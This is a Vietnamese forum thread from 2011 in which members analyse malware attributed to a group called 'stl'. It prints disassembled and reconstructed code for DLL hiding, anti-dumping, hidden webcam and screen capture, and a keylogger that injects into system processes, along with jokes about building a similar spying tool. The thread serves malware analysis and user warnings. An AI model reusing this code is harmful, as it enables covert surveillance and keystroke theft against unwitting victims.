[Analyzing] Phân tích tính chất vài trận DDoS HVA vừa qua. |
03/10/2011 08:24:12 (+0700) | #1141 | 248066 |
TQN
Elite Member
|
0 |
|
|
Joined: 29/06/2006 22:28:01
Messages: 888
Location: Biết làm chi ?
Offline
|
|
cversions.2.db và dao360.dll.mui đều là chung một code base ban đầu. Chúng có 2 hàm đáng chú ý sau mà anh em research rootkit, cracking hay gặp:
1. Hàm che dấu Dll name khỏi các tool Process Explorer, TaskManager....:
Code:
.text:1000D610 ; BOOL HideDLL(void)
.text:1000D610 HideDLL proc near ; CODE XREF: MaintThreadProc+A9p
.text:1000D610 ldr = dword ptr -4
.text:1000D610 000 push ecx
.text:1000D611 004 mov ecx, g_hinstDLL
.text:1000D617 004 test ecx, ecx
.text:1000D619 004 jnz short @@DLLInstanceNotZero
.text:1000D61B 004 xor eax, eax
.text:1000D61D 004 pop ecx
.text:1000D61E 000 retn
.text:1000D61F @@DLLInstanceNotZero: ; CODE XREF: HideDLL+9j
.text:1000D61F 004 push esi
.text:1000D620 008 mov eax, large fs:18h ; eax = ptr to _TEB
.text:1000D626 008 mov eax, [eax+_TEB.ProcessEnvironmentBlock] ; eax = ptr to _PEB
.text:1000D629 008 mov eax, [eax+_PEB.Ldr] ; eax = ptr to _PEB_LDR_DATA
.text:1000D62C 008 mov [esp+8+ldr], eax
.text:1000D630 008 mov eax, [esp+8+ldr]
.text:1000D634 008 mov esi, [eax+PEB_LDR_DATA.InLoadOrderModuleList.Flink] ; esi = InLoadOrderModuleList: _LIST_ENTRY struct
.text:1000D637 008 mov eax, [esi+_LDR_DATA_TABLE_ENTRY.DllBase] ; eax = DllBase of first DLL (0x18 offset in LDR_DATA_TABLE_ENTRY struct)
.text:1000D637 ; In Windows, hau nhu la DllBase cua Ntdll.dll
.text:1000D63A 008 test eax, eax
.text:1000D63C 008 jz short @@FoundThisDLL
.text:1000D63E 008 mov edi, edi
.text:1000D640 @@IsThisDLL: ; CODE XREF: HideDLL+3Bj
.text:1000D640 008 cmp eax, ecx ; ecx = DllBase or HInstance of this DLL
.text:1000D642 008 jz short @@FoundThisDLL
.text:1000D644 008 mov esi, [esi] ; esi = InLoadOrderLinks.Flink
.text:1000D646 008 mov eax, [esi+_LDR_DATA_TABLE_ENTRY.DllBase] ; eax = DllBase of next DLL
.text:1000D649 008 test eax, eax
.text:1000D64B 008 jnz short @@IsThisDLL
.text:1000D64D @@FoundThisDLL: ; CODE XREF: HideDLL+2Cj
.text:1000D64D ; HideDLL+32j
.text:1000D64D 008 cmp [esi+_LDR_DATA_TABLE_ENTRY.DllBase], 0 ; DllBase is 0 ?
.text:1000D651 008 jnz short @@ModifyDoubleLinkList
.text:1000D653 008 xor eax, eax
.text:1000D655 008 pop esi
.text:1000D656 004 pop ecx
.text:1000D657 000 retn
.text:1000D658 @@ModifyDoubleLinkList: ; CODE XREF: HideDLL+41j
.text:1000D658 008 mov ecx, [esi+_LDR_DATA_TABLE_ENTRY.InLoadOrderLinks.Blink]
.text:1000D65B 008 mov edx, [esi+_LDR_DATA_TABLE_ENTRY.InLoadOrderLinks.Flink]
.text:1000D65D 008 mov [ecx+_LDR_DATA_TABLE_ENTRY.InLoadOrderLinks.Flink], edx
.text:1000D65F 008 mov eax, [esi+_LDR_DATA_TABLE_ENTRY.InLoadOrderLinks.Flink]
.text:1000D661 008 mov ecx, [esi+_LDR_DATA_TABLE_ENTRY.InLoadOrderLinks.Blink]
.text:1000D664 008 mov [eax+_LDR_DATA_TABLE_ENTRY.InLoadOrderLinks.Blink], ecx
.text:1000D667 008 mov edx, [esi+_LDR_DATA_TABLE_ENTRY.InMemoryOrderLinks.Blink]
.text:1000D66A 008 mov eax, [esi+_LDR_DATA_TABLE_ENTRY.InMemoryOrderLinks.Flink]
.text:1000D66D 008 mov [edx+_LDR_DATA_TABLE_ENTRY.InLoadOrderLinks.Flink], eax
.text:1000D66F 008 mov ecx, [esi+_LDR_DATA_TABLE_ENTRY.InMemoryOrderLinks.Flink]
.text:1000D672 008 mov edx, [esi+_LDR_DATA_TABLE_ENTRY.InMemoryOrderLinks.Blink]
.text:1000D675 008 mov [ecx+_LDR_DATA_TABLE_ENTRY.InLoadOrderLinks.Blink], edx
.text:1000D678 008 mov eax, [esi+_LDR_DATA_TABLE_ENTRY.InInitializationOrderLinks.Blink]
.text:1000D67B 008 mov ecx, [esi+_LDR_DATA_TABLE_ENTRY.InInitializationOrderLinks.Flink]
.text:1000D67E 008 mov [eax+_LDR_DATA_TABLE_ENTRY.InLoadOrderLinks.Flink], ecx
.text:1000D680 008 mov edx, [esi+_LDR_DATA_TABLE_ENTRY.InInitializationOrderLinks.Flink]
.text:1000D683 008 mov eax, [esi+_LDR_DATA_TABLE_ENTRY.InInitializationOrderLinks.Blink]
.text:1000D686 008 mov [edx+_LDR_DATA_TABLE_ENTRY.InLoadOrderLinks.Blink], eax
.text:1000D689 008 mov ecx, [esi+_LDR_DATA_TABLE_ENTRY.HashLinks.Blink]
.text:1000D68C 008 mov edx, [esi+_LDR_DATA_TABLE_ENTRY.HashLinks.Flink]
.text:1000D68F 008 mov [ecx+_LDR_DATA_TABLE_ENTRY.InLoadOrderLinks.Flink], edx
.text:1000D691 008 mov eax, [esi+_LDR_DATA_TABLE_ENTRY.HashLinks.Flink]
.text:1000D694 008 mov ecx, [esi+_LDR_DATA_TABLE_ENTRY.HashLinks.Blink]
.text:1000D697 008 mov [eax+_LDR_DATA_TABLE_ENTRY.InLoadOrderLinks.Blink], ecx
.text:1000D69A 008 movzx edx, [esi+_LDR_DATA_TABLE_ENTRY.FullDllName.Length]
.text:1000D69E 008 mov eax, [esi+_LDR_DATA_TABLE_ENTRY.FullDllName.Buffer]
.text:1000D6A1 008 push edx ; size_t
.text:1000D6A2 00C push 0 ; int
.text:1000D6A4 010 push eax ; void *
.text:1000D6A5 014 call _memset ; Zero the FullDllName
.text:1000D6AA 014 push 48h
.text:1000D6AC 018 push 0
.text:1000D6AE 01C push esi
.text:1000D6AF 020 call _memset ; Zero memory _LDR_DATA_TABE_ENTRY of this DLL
.text:1000D6B4 020 add esp, 18h
.text:1000D6B7 008 mov eax, 1
.text:1000D6BC 008 pop esi
.text:1000D6BD 004 pop ecx
.text:1000D6BE 000 retn
.text:1000D6BE HideDLL endp
Sau khi hàm HideDll này được thực thi, với các tool bình thường, chúng ta sẽ không thấy cversions.2.db hay dao360.dll.mui được load lên.
2. Code anti-dump dll memory xuống disk:
Code:
.text:1000DF80 ; void __cdecl IncSizeOfImageFieldInLDR()
.text:1000DF80 IncSizeOfImageFieldInLDR proc near ; CODE XREF: MaintThreadProc:loc_1000A82Ep
.text:1000DF80 000 mov eax, large fs:30h ; eax = PEB
.text:1000DF86 000 mov eax, dword ptr [eax+_PEB_LDR_DATA.InLoadOrderModuleList] ; eax = Ldr: _PEB_LDR_DATA
.text:1000DF89 000 mov eax, [eax+_LDR_DATA_TABLE_ENTRY.InMemoryOrderLinks.Blink] ; InLoadOrderModuleList : _LIST_ENTRY
.text:1000DF8C 000 add [eax+_LDR_DATA_TABLE_ENTRY.SizeOfImage], 3686400 ; _LDR_DATA_TABLE_ENTRY: 0x20 offset = SizeOfImage
.text:1000DF93 000 retn
.text:1000DF93 IncSizeOfImageFieldInLDR endp
Hai kỹ thuật trên đã có từ lâu lắm rồi, được public nhiều trên Phrack magazine và Vxnetlux...., nói chung là đạo code, không có gì mới, nhưng vẫn hiệu quả với các tool, người dùng bình thường trong việc che giấu cversions.2.db hay dao360.dll.mui khỏi TaskManager, ListDll, Process Explorer.... |
|
|
|
|
[Analyzing] Phân tích tính chất vài trận DDoS HVA vừa qua. |
03/10/2011 11:33:08 (+0700) | #1142 | 248070 |
TQN
Elite Member
|
0 |
|
|
Joined: 29/06/2006 22:28:01
Messages: 888
Location: Biết làm chi ?
Offline
|
|
Còn một cách khác để chúng ta có thể run Wireshark, SmartSniff..., không cấn modify wireshark.exe, smsniff.exe... mà code của stl sẽ không thể nào detect ra.
Chúng ta sẽ dùng tool HideToolZ, tool này nhiều bạn biết. Các bạn có thể download ở đây: http://woodmann.com/collaborative/tools/index.php/HideToolz. Có thể sẽ có vài AVs báo HideToolz là rootkit, không sao !
Chỉnh option của HideToolz như hình:
Run Wireshark hay SmartSniff, hide các process đó, xong. Code của stl sẽ không detect ra !
Tiếp tục nào các bạn, vì cversions.2.db là một dll, nên chúng ta không thể nào run nó trực tiếp được. Chúng ta chép một mình cversions.2.db qua máy ảo (VM), vào thư mục C:\Temp chẵng hạn.
Run Wireshark (hay SmartSniff) trên máy ảo với protect = HideToolz như trên. Config Wireshark để capture vào một pcap file nào đó, rồi start capture.
Sau đó ra ngoài command line, gõ lệnh:
Code:
rundll32.exe C:\Temp\cversions.2.db, ABCDE
Do cversions.2.db không export hàm nào, nên rundll32.exe sẽ quăng ra môt message box, kệ nó, đừng click OK, bỏ đó đi uống ăn cơm. Các thread của cversions.2.db đã bắt đầu chạy rồi đó, Wireshark sẽ capture sau khi các thread đó ngủ dậy.
Quan sát Wireshark tới khi nào các bạn thấy cversions.2.db kết nối tới các host kia. Click OK để kết thúc rundll32.exe (sẽ tự kill luôn cversions.2.db).
Mở file pcap thu được bằng Wireshark với 010 Editor, mở template PCAPTemplate.bt, xor data gởi đi với 0x1D, các bạn sẽ thấy cversions.2.db đã gởi đi thứ gì từ mấy các bạn.
Một phần data trên máy em sau khi em xor:
Bà con chú ý cái hình after xor nhé, dòng bôi đõ đầu tiên là volume serial number của C: (%HomeDrive%), dòng bôi đỏ thứ hai là MAC address của card mạng, dòng bôi đỏ thứ 3 là Model và Serial Number của Hard Disk1 (master).
Bà con ai biết, chữ "Bai" là gì, của ngôn ngữ nào không ??? Chữ "Bai" này em thấy lạ lắm, vì em biết coder Việt ta không bao giờ dùng chữ "Bai" để mô tả harddisk type và serial number ???
Trong khi đó, với dao360.dll.mui thì code lấy harddisk type và serialnumber không có (chưa dùng WMI), nên chuỗi format chỉ là:
Code:
[%d.%d.%d] - SP %d - PT %d - SM %d - HD %0.8X - NIC %s
|
|
|
|
|
[Analyzing] Phân tích tính chất vài trận DDoS HVA vừa qua. |
03/10/2011 14:11:29 (+0700) | #1143 | 248077 |
trycatch
Member
|
0 |
|
|
Joined: 07/12/2010 20:00:36
Messages: 15
Offline
|
|
TQN wrote:
Bà con ai biết, chữ "Bai" là gì, của ngôn ngữ nào không ??? Chữ "Bai" này em thấy lạ lắm, vì em biết coder Việt ta không bao giờ dùng chữ "Bai" để mô tả harddisk type và serial number ???
Tiếng Việt không dấu dịch ra là: Bài, Bái, Bại, Bải
Tàu dịch ra là 100
Anh dịch ra là : tạm biệt anh TQN,
|
|
|
|
|
[Analyzing] Phân tích tính chất vài trận DDoS HVA vừa qua. |
03/10/2011 15:01:23 (+0700) | #1144 | 248080 |
texudo
Member
|
0 |
|
|
Joined: 20/07/2011 11:14:04
Messages: 31
Offline
|
|
Cái từ Bai mà a TQN nhắc tới nếu dịch = google translate nó ra mấy nghĩa:
1. WHITE (白)
2. 100 (百)
3. Worship (拜)
....
nói chung nghi ngờ KHỰA hơi nhiều nên chỉ tập trung vào đó. Sorry bạn KHỰA nếu mình sai |
|
|
|
|
[Analyzing] Phân tích tính chất vài trận DDoS HVA vừa qua. |
03/10/2011 16:04:31 (+0700) | #1145 | 248085 |
TQN
Elite Member
|
0 |
|
|
Joined: 29/06/2006 22:28:01
Messages: 888
Location: Biết làm chi ?
Offline
|
|
2 trycatch: Bai # Bye nhen !
String sau từ "Bai" là kết hợp của 2 string này:
Vì vậy, các bạn search hay Google Translate từ "Bai" đó sai hết rồi, hì hì
Với các bạn đã code C/C++, nhìn hàm format string đó các bạn hiểu ngay là:
Code:
[%d.%d.%d]: [dwMajorVersion.dwMinorVersion.dwBuildNumber]
SP: wServicePackMajor
PT: wProductType
SM: wSuiteMask
HD: Volume serial number of %HomeDrive%
NIC: MAC address
Bai: ???????
Và các bạn còn nhớ cái name pipe tên Nanned không trong bộ Dao360.dll.mui ?
PS: Đoạn code HideDll của stl coder có bug, nên nó không hide được cversions.2.db hay dao360.dll.mui trong list DLLs panel view của Process Explorer hay Process Hacker... Em đố bạn nào tìm ra được bug đó, nếu tìm ra, CN này đi nhậu Bữa nhậu này đáng lý phải bắt stl coder trả tiền, cho chừa cái tội copy code mà không hiểu, không test
Các bạn thử đoán xem, stl coder lấy list các software, các update trên máy victim để làm gì ? Thâm hiểm lắm đấy ! |
|
|
|
|
[Analyzing] Phân tích tính chất vài trận DDoS HVA vừa qua. |
03/10/2011 16:44:56 (+0700) | #1146 | 248090 |
|
secmask
Elite Member
|
0 |
|
|
Joined: 29/10/2004 13:52:24
Messages: 553
Location: graveyard
Offline
|
|
|
|
[Analyzing] Phân tích tính chất vài trận DDoS HVA vừa qua. |
03/10/2011 17:40:35 (+0700) | #1147 | 248093 |
|
quygia128
Member
|
0 |
|
|
Joined: 15/07/2009 20:50:28
Messages: 119
Location: Somewhere
Offline
|
|
Các bạn thử đoán xem, stl coder lấy list các software, các update trên máy victim để làm gì ? Thâm hiểm lắm đấy !
Cái này theo suy nghĩ nông cạn của em là để xem mọi người hay dùng phần mềm gì, những tool nào là cần thiết mà nhiều người sử dụng --> để tiện anti / update malware và đính kèm vài chú malware vào những tool phổ biến này.
Và để làm được điều đó thì nhất thiết coder của stl phải lấy nhũng thông tin này.
Chỉ vấn đề anti debug và detect các tool khác thôi em thấy mấy anh stl này code rất cực khổ với anh N rồi mà giờ còn làm thêm cái trò này, mấy anh stl hình như không biết mệt.
Còn việc lấy thông tin về phần cứng như HDD serial, card, Modem mạng thì em cũng không biết mấy ảnh làm gì nữa ?.Hổng lẽ mấy ảnh định chuyển hướng sang kinh doanh linh kiện máy tính và đang tìm hiểu thị trường
|
|
.::Mới bắt đầu trên con đường dài::.
.::Super Newbiez::. |
|
|
|
[Analyzing] Phân tích tính chất vài trận DDoS HVA vừa qua. |
04/10/2011 09:41:46 (+0700) | #1148 | 248112 |
|
xnohat
Moderator
|
Joined: 30/01/2005 13:59:19
Messages: 1210
Location: /dev/null
Offline
|
|
TQN wrote:
Các bạn thử đoán xem, stl coder lấy list các software, các update trên máy victim để làm gì ? Thâm hiểm lắm đấy !
Thì thống kê xem cái software nào hiện đang được dùng nhiều, hay máy mục tiêu đang chạy software gì để mà còn "núp bóng" chứ |
|
iJust clear, "What I need to do and how to do it"/i
br
brBox tán gẫu dời về: http://www.facebook.com/hvaonline |
|
|
|
[Analyzing] Phân tích tính chất vài trận DDoS HVA vừa qua. |
04/10/2011 09:42:24 (+0700) | #1149 | 248113 |
|
Vanxuanemp
Member
|
0 |
|
|
Joined: 02/08/2005 04:31:37
Messages: 63
Location: Thôn Đoài
Offline
|
|
TQN wrote:
Và các bạn còn nhớ cái name pipe tên Nanned không trong bộ Dao360.dll.mui ?
PS: Đoạn code HideDll của stl coder có bug, nên nó không hide được cversions.2.db hay dao360.dll.mui trong list DLLs panel view của Process Explorer hay Process Hacker... Em đố bạn nào tìm ra được bug đó, nếu tìm ra, CN này đi nhậu Bữa nhậu này đáng lý phải bắt stl coder trả tiền, cho chừa cái tội copy code mà không hiểu, không test
Các bạn thử đoán xem, stl coder lấy list các software, các update trên máy victim để làm gì ? Thâm hiểm lắm đấy !
Các đoạn code trên có nhiều mục đích lắm. Thứ nhất là tặng malware vào phần mềm crk hay sử dụng. Thứ 2 là giờ đây hack không chỉ là phần mềm, mà còn là phần cứng, các lỗ hổng trong phần cứng mới là nhiều và thường ít được biết tới và ít quan tâm hơn là phần mềm, cũng như khó để xử lý hơn. Sau khi biết victim sử dụng loại phần mềm và phần cứng nào thì càng tăng ưu thế cũng như khả năng dễ tấn công theo nhiều hướng khác nhau.
PS: Hôm nay vietnamnet vào rất nhanh, có lẽ DDOS đã tạm dừng, cộng với việc tăng số server để chống đỡ DDOS nên giờ vietnamnet vào nhanh như chớp. |
|
|
|
|
[Analyzing] Phân tích tính chất vài trận DDoS HVA vừa qua. |
04/10/2011 20:10:48 (+0700) | #1150 | 248138 |
vncyberwar
Member
|
0 |
|
|
Joined: 20/09/2011 10:47:58
Messages: 2
Offline
|
|
Chúc mừng Vietnamnet đã giải quyết được vấn đề của mình... giờ thì chắc ổn rồi ... |
|
|
|
|
[Analyzing] Phân tích tính chất vài trận DDoS HVA vừa qua. |
04/10/2011 20:45:53 (+0700) | #1151 | 248139 |
Anh em giải lao thôi. Lúc này nếu VietNamNet chống được thì STL sẽ làm gì nhỉ? |
|
|
|
|
[Analyzing] Phân tích tính chất vài trận DDoS HVA vừa qua. |
05/10/2011 07:02:02 (+0700) | #1152 | 248149 |
|
conmale
Administrator
|
Joined: 07/05/2004 23:43:15
Messages: 9353
Location: down under
Offline
|
|
Từ Úc, Mỹ và Đức vẫn không thể vào vietnamnet bằng bất cứ trình duyệt nào. |
|
What bringing us together is stronger than what pulling us apart. |
|
|
|
[Analyzing] Phân tích tính chất vài trận DDoS HVA vừa qua. |
05/10/2011 20:29:49 (+0700) | #1153 | 248186 |
TQN
Elite Member
|
0 |
|
|
Joined: 29/06/2006 22:28:01
Messages: 888
Location: Biết làm chi ?
Offline
|
|
Bà con nào nếu tìm trong thấy trong harddisk của mình có các file của QTTask.zip, file AcScreen.dll, hay các file trong bộ Dao360.dll.mui thì chịu khó xoá giùm đi. Boot vào SafeMode hay dùng HirenBoot CD để boot vào DOS, xoá ngay lập tức.
Em cảnh báo bao nhiêu lần rồi, bà con không chịu xoá thì mai mốt bị "tắm trắng" ráng chịu à nhen
Còn nếu bà con vẫn không sợ, không chịu xoá, vui lòng lấy băng keo đen dán vào Webcam của mình, hay rút nó ra luôn. Khi nào cần chat với em út thì cắm lại.
Từ 2010, coder stl đã chơi trò chụp hình người ngồi trước máy tính thông qua webcam, save thành một file DIB (BMP), convert sang JPEG file bằng cách dùng các methods trong class Image của GdiPlus, rồi úp về mấy cái host kia. Quá đáng thật (may là em không bao giờ gắn webcam vào máy)
Lúc trước em đã RCE sơ bộ file AcScreen.dll này rồi, nhưng lại không để ý. Giờ móc mấy file "mèo què" chưa RCE xong ra làm tiếp, mới giật mình phát hiện. Đoạn code video capture bằng Video For Windows API em quen lắm, vì lúc còn làm coder có làm một số project = VFW, sau đó mới chuyển qua dùng DirectShow.
File AcScreen.dll được gọi bằng cversions.2.db và dao360.dll.mui. Nó export ra 3 hàm để hai ông nội kia gọi. Ba hàm đó, thằng thì tìm video capture driver index, thằng thì chụp màn hình, thằng thì bật webcam lên capture "dung nhan" của victim.
Kiểu này thì em phải ráng hack vào các server kia mới được, hình ảnh "tươi mát" của các cô victim lúc ngồi máy ăn bận mát mẽ đầy ra đó. Mấy anh stl sướng thiệt, rữa mắt miễn phí, bát ngát luôn. Share cho em vài tấm hình "hot hot" nhen . |
|
|
|
|
[Analyzing] Phân tích tính chất vài trận DDoS HVA vừa qua. |
05/10/2011 21:45:42 (+0700) | #1154 | 248188 |
TQN
Elite Member
|
0 |
|
|
Joined: 29/06/2006 22:28:01
Messages: 888
Location: Biết làm chi ?
Offline
|
|
File AcScreen.dll có tên gốc lúc build là CaptureScreen.dll
Export 3 hàm sau:
Hàm select video capture driver sẽ select video driver đầu tiên hợp lệ, vd: Webcam, camera an ninh....
Code:
int __stdcall GetCaptureDriver()
{
UINT wDriverIndex; // [sp+4h] [bp-414h]@1
WCHAR wzVer[252]; // [sp+8h] [bp-410h]@1
WCHAR wzName[254]; // [sp+200h] [bp-218h]@1
memset(&szName[1], 0, 0x1F2u);
memset(&szVer[1], 0, 0x1F2u);
for (wDriverIndex = 0; wDriverIndex < 9; ++wDriverIndex)
{
if (capGetDriverDescriptionW(wDriverIndex, szName, 500, szVer, 500))
{
return wDriverIndex;
}
}
return -1;
}
Hàm export D3DRMColorGetRed sẽ trả về cho caller TRUE hay FALSE. FALSE khi máy victim không có video capture driver.
Code:
BOOL __stdcall D3DRMColorGetRed()
{
return GetCaptureDriver() != -1;
}
Hàm D3DRMColorGetGreen sẽ được caller gọi để bắt đầu video capture, tham số đưa vào là filename của file image capture
Code:
BOOL __stdcall D3DRMColorGetGreen(LPWSTR pwzImgCaptured)
{
HANDLE hCaptureThread;
g_hDesktop = CreateDesktopW(L"Defau1t1", 0, 0, 1u, 0x10000000u, 0);
if (L"Defau1t1") // => bug của stl coder, may mà luôn luôn đúng
{
hCaptureThread = CreateThread(0, 0, CaptureThreadProc, 0, 0, 0);
WaitForSingleObject(hCaptureThread, INFINITE);
CloseDesktop(g_hDesktop);
wcscpy(pwzImgCaptured, g_wzCaptureFileName);
}
return 0; // => stl coder bug: không CloseHandle(hCaptureThread);
}
CaptureThreadProc sẽ create tiếp 2 thread, một thread để force kill capture video window, 1 thread thực hiện capture
Code:
int __cdecl VideCaptureThreadProc()
{
int result;
int captureDriverIndex;
SetThreadDesktop(g_hDesktop);
captureDriverIndex = GetCaptureDriver();
if (captureDriverIndex == -1)
{
result = -1;
}
else
{
VideoCapture(g_wzCaptureFileName, captureDriverIndex, 640, 480, 10);
result = 0;
}
return result;
}
640, 480 là kích thước capture video window, 10 là số loop count của message loop của capture video window.
Code:
signed int __cdecl VideoCapture(WCHAR *pwzDibFile, UINT capDriverIdx, int nWidth, int nHeight, int loopCount)
{
DWORD dwWndLong;
MSG Msg;
HWND hwndCapture;
HWND hDskWnd = GetDesktopWindow();
hwndCapture = j_capCreateCaptureWindowW(0, 0x40000000u, 0, 0, nWidth, nHeight, hDskWnd, 0);
if (hwndCapture)
{
dwWndLong = GetWindowLongW(hwndCapture, GWL_EXSTYLE);
SetWindowLongW(hwndCapture, GWL_EXSTYLE, (dwWndLong | 0x80080) & 0xFFFBFFFF);
ShowWindow(hwndCapture, SW_SHOWNORMAL);
SetLayeredWindowAttributes(hwndCapture, 0, 1, LWA_ALPHA); // capture window sẽ transparent, không thấy trên màn hình
if (IsWindow(hwndCapture))
SendMessageW(hwndCapture, WM_CAP_DRIVER_CONNECT, capDriverIdx, 0);
if (IsWindow(hwndCapture))
SendMessageW(hwndCapture, WM_CAP_SET_SCALE, TRUE, 0); // scale preview image to 640x480
if (IsWindow(hwndCapture))
SendMessageW(hwndCapture, WM_CAP_SET_PREVIEWRATE, 60, 0); // 1s chụp 1 frame
if (IsWindow(hwndCapture))
SendMessageW(hwndCapture, WM_CAP_SET_PREVIEW, TRUE, 0); // start preview mode
for (i = 0; i < loopCount; ++i)
{
GetMessageW(&Msg, hwndCapture, 0, 0);
DispatchMessageW(&Msg);
TranslateMessage(&Msg);
}
if (IsWindow(hwndCapture))
SendMessageW(hwndCapture, WM_CAP_FILE_SAVEDIBW, 0, pwzDibFile); // save to bmp file
if (IsWindow(hwndCapture))
SendMessageW(hwndCapture, WM_CAP_DRIVER_DISCONNECT, capDriverIdx, 0);
DestroyWindow(hwndCapture);
result = 1;
}
else
{
result = 0;
}
return result;
}
Hàm export cuối cùng chỉ làm nhiệm vụ capture screen và lưu vào file input parameter
Code:
UINT __stdcall D3DRMColorGetBlue(LPWSTR pwzImgFile)
{
WCHAR wzTempFileName[520];
HGDIOBJ hBmp;
int flag, xStart, yStart, nWidth, nHeight;
memset(wzTempFileName, 0, 1040);
CreateWmpTempFileName(wzTempFileName);
hBmp = ScreenCapture(flag, xStart, yStart, nWidth, nHeight);
if (hBmp)
{
SaveToJPGFile(hBmp, wzTempFileName, 75);
wcscpy(pwzImgFile, wzTempFileName);
}
return 0;
}
Trong file này, stl coder code bug tá lã, quên CloseHandle cho các hThread nhiều lắm. Máy ai mà chạy lâu lâu thì chỉ có nước die, cạn hết kernel handles. Cách dùng KillThreadProc để kill Video capture window rất ngớ ngẫn, vì vậy các bạn mới thấy stl coder gọi IsWindow liên tục như vậy, chắp vá phải không bạn stl ?
Và một điều nữa là các bạn có thấy không, stl coder ít dùng các class std::string, CString,... cứ khoái declare các buffer bự tổ chãng rồi memset tá lã hết !
Chỉ vài đoạn code C vậy thôi là dung nhan "mát mẽ" của các em gái victim bị chụp hết. Đơn giản ha ! Kiểu này em cũng viết một con mới được, tìm một cái FTP server nữa là có hình "nóng" xem mệt xỉu.
Và bà con IT nam thì rút kn, khi ngồi máy thì đừng ở trần, ngồi đàng hoàng nhen
|
|
|
|
|
[Analyzing] Phân tích tính chất vài trận DDoS HVA vừa qua. |
06/10/2011 12:50:36 (+0700) | #1155 | 248222 |
whitesnow19
Member
|
0 |
|
|
Joined: 08/10/2010 03:42:19
Messages: 54
Offline
|
|
Mấy bữa trước hãy vào VNN bằng link: http://tmp.vietnamnet.vn => click vào banner là vào được.
Nay vào thì thấy báo là:
Access is denied !
Web admin junzennt@gmail.com |
|
|
|
|
[Analyzing] Phân tích tính chất vài trận DDoS HVA vừa qua. |
08/10/2011 10:51:17 (+0700) | #1156 | 248343 |
TQN
Elite Member
|
0 |
|
|
Joined: 29/06/2006 22:28:01
Messages: 888
Location: Biết làm chi ?
Offline
|
|
Tới giờ, có lẽ chuyện về stl cũng đã hết rồi, không còn nóng hổi nữa. Thay vào đó, chúng ta sẽ cùng nhau RCE, phân tích các tip&tricks, các đoạn code đáng chú ý của stl coder để ai có thích tìm hiểu về RCE, coding, virus có thể học hỏi được điều gì đó. Đồng thời cũng để trao đổi kỹ thuật, các tools, script để RCE.
Tôi xin quay lại với dll keylog của stl hồi xưa, hardkbd.dll. Bà con còn nhớ không ? Size = 136192 bytes. Hardkbd.dll còn có tên khác là IEFrame.ocx, cũng size đó luôn.
File này export ra 4 hàm, fake các hàm của COM dll:
Name VA Index
------- --- -------
DllCanUnloadNow 10002680 1
DllGetClassObject 10002680 2
DllRegisterServer 10002160 3
DllUnregisterServer 10002680 4
Trong 4 hàm trên, chỉ có hàm DllRegisterServer là có code, còn toàn bộ là empty function, chỉ return FALSE.
Khi hardkbd.dll được mèo què khác của stl load lên, ngay trong hàm DllMain, code chỉ call 1 hàm duy nhất, tôi gọi là MainProc.
Hàm MainProc sẽ làm rất nhiều việc, lấy version của Windows, tuỳ theo version của Win mà sẽ create các thread tương ứng. Các thread này kiểm tra Exe parent mà nó được load. Tương ứng với services.exe, winlogon.exe, logonui.exe, explorer.exe sẽ có các thread khác nhau. Sau đó MainProc sẽ remote load ieframe.ocx (cũng chính là hardkbd.dll) vào Explorer.exe.
Code:
int __cdecl MainProc()
{
int osVer;
HANDLE hProcess;
BOOL notWinLogonExe;
DWORD ThreadId;
WCHAR wzPath[260];
osVer = GetVersion();
memset(wzPath, 0, 520);
hProcess = GetCurrentProcess();
GetModuleFileNameExW(hProcess, 0, wzPath, 260);
PathStripPathW(wzPath);
if (!_wcsicmp(wzPath, L"services.exe"))
{
ThreadId = 0;
CreateThread(0, 0, ThreadProcInServicesExe, 0, 0, &ThreadId);
}
notWinLogonExe = _wcsicmp(wzPath, L"winlogon.exe");
if (osVer == 6)
{
if (notWinLogonExe)
goto @@IsExplorer;
ThreadId = 0;
CreateThread(0, 0, ThreadProcInWinLogon, 0, 0, &ThreadId);
CreateThread(0, 0, InjectExplorerThreadProc, 0, 0, &ThreadID);
}
if (!notWinLogonExe)
{
ThreadId = 0;
InitMSDataVXDFile_And_LoadIEFrameOCX_And_HookKeyboard();
CreateThread(0, 0, InjectExplorerThreadProc, 0, 0, &ThreadId);
}
if (!_wcsicmp(wzPath, L"logonui.exe"))
{
CreateThread(0, 0, ThreadProcInLogOnUIExe, 0, 0, &ThreadID);
}
@@IsExplorer:
if (!_wcsicmp(wzPath, L"explorer.exe"))
{
ThreadId = 0;
CreateThread(0, 0, ThreadProcInExplorer, 0, 0, &ThreadId);
}
return -1;
Hàm InitMSDataVXDFile_And_LoadIEFrameOCX_And_HookKeyboard() sẽ create file msdata.vxd trong thư mục System32
Code:
int InitMSDataVXDFile_And_LoadIEFrameOCX_And_HookKeyboard()
{
DWORD ThreadId;
CHAR szMsdataVxdPath[260];
if (S_OK != SHGetFolderPathA(0, CSIDL_SYSTEM), 0, 0, szMsdataVxdPath)
return -1;
sprintf_s(szMsdataVxdPath, 260, "%s\\msdata.vxd", szMsdataVxdPath);
g_hFile_Msdatavxd = CreateMSDataVxdFile(szMsdataVxdPath),
if (-1 == g_hFile_Msdatavxd)
return -1;
SetWindowsHookExA(WH_KEYBOARD, KbdHookProc, 0, GetCurrentThreadId(););
write_string_after_xor_with_0x6F_to_msdata_vxd_file(0x12, g_hFile_Msdatavxd, "\r\n[Logon Window]\r\n");
ThreadId = 0;
CreateThread(0, 0, RemoteLoadIEFrameOCX, 0, 0, &ThreadId);
return 0;
}
Hàm KbdHookProc chính là hàm DllRegisterServer:
Code:
HRESULT __stdcall KbdHookProc(int code, WPARAM wparam, LPARAM lparam)
{
DWORD len;
HWND hwnd;
int p;
char ach;
WORD nSc1, nSc2;
HANDLE hFile;
char *psz;
SYSTEMTIME SystemTime;
char szText[1500];
char szWndText[1024];
if ((code != 0)|| !(~(lparam >> 31) & 1) || wparam == VK_CAPITAL || wparam == VK_SHIFT || wparam == VK_LSHIFT)
return CallNextHookEx(0, code, wparam, lparam);
hFile = g_hmsdatavxdfile;
if (wparam == VK_RETURN)
{
psz = "\r\n";
len = 2;
}
else if (wparam == VK_SPACE)
{
psz = L" ";
len = 1;
}
else if (wparam == VK_LWIN || wparam == VK_RWIN)
{
psz = "[Windows]";
len = 9;
}
else if (wparam == VK_TAB)
{
psz = L"\t";
len = 1;
}
else
{
hwnd = GetForegroundWindow();
if (hwnd != g_hForegroundWndLast)
{
memset(szWndText, 0, 1024);
GetWindowTextA(hwnd, szWndText, 1024);
memset(szText, 0, 1500);
GetLocalTime(&SystemTime);
sprintf_s(szText, 1500, "\r\n\r\n[%s] - [%.4i/%.2i/%.2i %.2i/%.2i/%.2i]:\r\n",
szWndText, SystemTime.wYear, SystemTime.wMonth, SystemTime.wDay,
